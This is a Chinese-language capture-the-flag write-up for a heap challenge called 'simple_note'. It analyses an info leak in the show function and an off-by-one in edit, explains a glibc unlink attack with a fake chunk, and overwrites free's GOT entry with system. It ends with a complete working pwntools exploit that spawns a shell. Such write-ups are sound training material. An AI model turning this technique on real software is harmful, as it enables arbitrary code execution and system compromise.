unlink-Simple_note

0x01 程序分析

这是一个记录note的程序:

1
2
3
4
5
6
7
8
======================
1. add a new note
2. delete the note
3. show the note
4. edit the note
5. exit
======================
Your choice:

bss段的全局数组list存储note的索引
看一下主要功能

add

在add中:

1
for ( i = 0; i <= 15 && list[i]; ++i )

可以看到最多存储16个note
且约束了每个note大小:

1
2
3
4
5
if ( v2 <= 127 )
{
puts("Too small size!!!");
exit(0);
}

delete

在delete中:

1
2
free(list[v1]);
list[v1] = 0LL;

free后置空了指针,不存在UAF

show

在show中:

1
2
3
4
5
6
7
8
9
10
11
12
13
int show()
{
signed int v1; // [rsp+Ch] [rbp-4h]

puts("Please input the index: ");
v1 = read_int("Please input the index: ");
if ( v1 < 0 || v1 > 16 )
return puts("Invalid index");
if ( !list[v1] )
return puts("No such note");
puts("Note: ");
return puts(list[v1]);
}

联想到可能潜在的威胁:
我们可以覆盖”\x00”结束符来leak数据

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int edit()
{
unsigned int v1; // ST0C_4
signed int v2; // [rsp+8h] [rbp-8h]

puts("Please input the index: ");
v2 = read_int("Please input the index: ");
if ( v2 < 0 || v2 > 16 )
return puts("Invalid index");
if ( !list[v2] )
return puts("No such note");
v1 = strlen(list[v2]);
puts("Please input your note: ");
return read_string(list[v2], v1);
}

这里比较明显:

1
2
3
read_string(list[v2], v1)
而:
v1 = strlen(list[v2]);

存在Off-By-One
在chunk结构体中:

1
2
3
4
5
6
7
8
9
10
11
12
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

prev_size可以用于存储上一个chunk的数据
如果上个chunk恰好覆盖到prev_size结束,那么就会和这个chunk的size相接,使得edit时strlen比实际上多出一字节(size),那么通过edit上个chunk便可以修改这个chunk的size

0x02 漏洞

首先是show处的leak以及edit处的Off-By-One
利用show来leak libc:

1
2
3
4
5
6
7
8
9
10
add(0x88,'a'*0x80)
add(0x88,'a'*0x88)
delete(0)
add(0x88,'a'*7)
p.recvuntil("choice: ")
p.sendline("3")
p.recvuntil("index: ")
p.sendline("0")
p.recvuntil("aaaaaaa\n")
libc.address=u64(p.recv(6).ljust(8,"\x00"))-0x3c4b78

说明:
首先add两个note
再delete第一个note
此时第一个chunk:

1
2
3
4
5
6
7
8
9
pwndbg> heap
0x603000 PREV_INUSE {
prev_size = 0x0,
size = 0x91,
fd = 0x7ffff7dd1b78 <main_arena+88>,
bk = 0x7ffff7dd1b78 <main_arena+88>,
fd_nextsize = 0x6161616161616161,
bk_nextsize = 0x6161616161616161
}

那么再add一个note,写入8字节(‘a’*7+’\n’),show的时候便会将bk中的数据put出来,从而leak libc
下面首先想到能否修改list中的索引值,使其中一项指向GOT表中的free或puts,再利用edit修改其为system函数地址
先动调一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x603000 ◂— 0x7ffff7dd1b78
smallbins
empty
largebins
empty

看到其使用unsortedbin,先尝试一下unlink
我们先申请几个chunk:

1
2
3
add(0x88,'a'*0x88)
add(0x88,'a'*0x88)
add(0x88,'a'*0x88)

在其中一个chunk上fake chunk
并覆盖掉下一个chunk的prev_size和size
使得系统认为这个fake chunk未被分配
再free掉下一个chunk
此时系统利用unlink将下一个chunk与fake chunk合并
因为fake chunk上的fd、bk可控,所以我们可以利用此时unlink操作修改特定地址为特定值
这里unlink时会判断:

1
2
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                     
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

而恰好list数组中储存的地址便指向堆中的P
例:

1
2
3
4
5
6
7
8
9
10
fake chunk 位于第n个chunk -> list[n-1]
构造:
fake chunk -> fd = &list[n-1]-8*3
fake chunk -> bk = &list[n-1]-8*2
最终unlink后:
FD->bk = BK 即 fake chunk -> fd (&list[n-1]-8*3) ->bk (list[n-1])=&list[n-1]-8*2
BK->fd = FD 即 fake chunk -> bk (&list[n-1]-8*2) ->fd (list[n-1])=&list[n-1]-8*3
最终效果:
list[n-1]=&list[n-1]-8*3
即,使一个指针指向这个指针-24位置处:p=&p-24

这里我们最终是list[4]的chunk与list[3]中构造的fake chunk合并
最终unlink操作的是list[3],而后list[3]中的值为&list[3]-8*3,即list[0]
此时edit(list[3])即会修改list[0]中保存的地址
可以将list[0]修改为free的got表地址
而后edit(list[0])即会修改free的got表地址
将其修改为system_addr后
delete一个字符串为’/bin/sh’的堆块
即会调用system(‘/bin/sh’)

注意:
这里选择构造fake chunk的chunk最小在list[3]处
否则将list[2]=&list[2]-8*3=list[0]-8,如果read足够长的字符串
我们也可以’a’*8+p64(got[‘free’]),不过这里是按照strlen来read字符串
这里注意:strlen(*list[3](list[0]))一般为4,这取决于堆所在的地址的长度
例,一般为:

1
0x000000000141a0a0 ->a0 a0 41 01

所以在edit(3, p64(got[‘free’]))时,实际上只有四字节被读取
实际上,got[‘free’]有效字节数只有3
system真实地址symbols[“system”]有效字节数只有6
不过我们不能edit(3, p64(got[‘free’])[:3])
这样会:

1
2
0x6020c0 <list>:	0x000000000a602018	0x000000000141a0a0
0x6020d0 <list+16>: 0x000000000141a130 0x00000000006020c0

换行符会占剩下那一个字符
不过可以edit(3, p64(got[‘free’])[:4])
同理可以edit(0, p64(symbols[“system”])[:6])

0x03 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

#context.log_level = 'debug'
p=process("./simple_note")
elf=ELF("./simple_note")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(size,note):
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("size: ")
p.sendline(str(size))
p.recvuntil("note: ")
p.sendline(note)

def delete(index):
p.recvuntil("choice: ")
p.sendline("2")
p.recvuntil("index: ")
p.sendline(str(index))


def edit(index,note):
p.recvuntil("choice: ")
p.sendline("4")
p.recvuntil("index: ")
p.sendline(str(index))
p.recvuntil("note: ")
p.sendline(note)

add(0x88,'a'*0x80)
add(0x88,'a'*0x88)
delete(0)
add(0x88,'a'*7)
p.recvuntil("choice: ")
p.sendline("3")
p.recvuntil("index: ")
p.sendline("0")
p.recvuntil("aaaaaaa\n")
libc.address=u64(p.recv(6).ljust(8,"\x00"))-0x3c4b78
add(0x88,'a'*0x88)
add(0x88,'a'*0x88)
add(0x88,'a'*0x88)
edit(3,p64(0)+p64(0x80)+p64(0x6020c0)+p64(0x6020c0+8)+'a'*0x60+p64(0x80)+'\x90')
delete(4)
edit(3, p64(elf.got['free']))
#gdb.attach(p)
edit(0, p64(libc.symbols["system"]))
add(0x80, '/bin/sh\x00')
delete(4)
p.interactive()